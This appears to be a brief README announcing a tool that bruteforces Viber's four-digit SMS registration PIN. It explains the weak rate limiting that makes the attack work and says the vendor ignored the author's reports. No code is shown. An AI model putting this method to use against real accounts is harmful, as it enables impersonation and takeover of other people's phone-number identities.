This little piece of software will bruteforce the Viber "PIN" key. Viber is a Skype-like software that claims to have 100 million worldwide users.
Instead of having Viber usernames you use your own mobile phone number as username. When signing up for Viber you confirm that you own the mobile phone number by entering a four digit PIN code that you get by SMS in the registation process.
Four digit, no bruteforce protection, API-axss - A winning concept. Or well, they have "some kind" of bruteforce "protection". After something like ten tries they increment the PIN-code by 1.
I've tried to inform them about this. But they ignore my tweets and mails. They ignoring me results in me ignoring them.
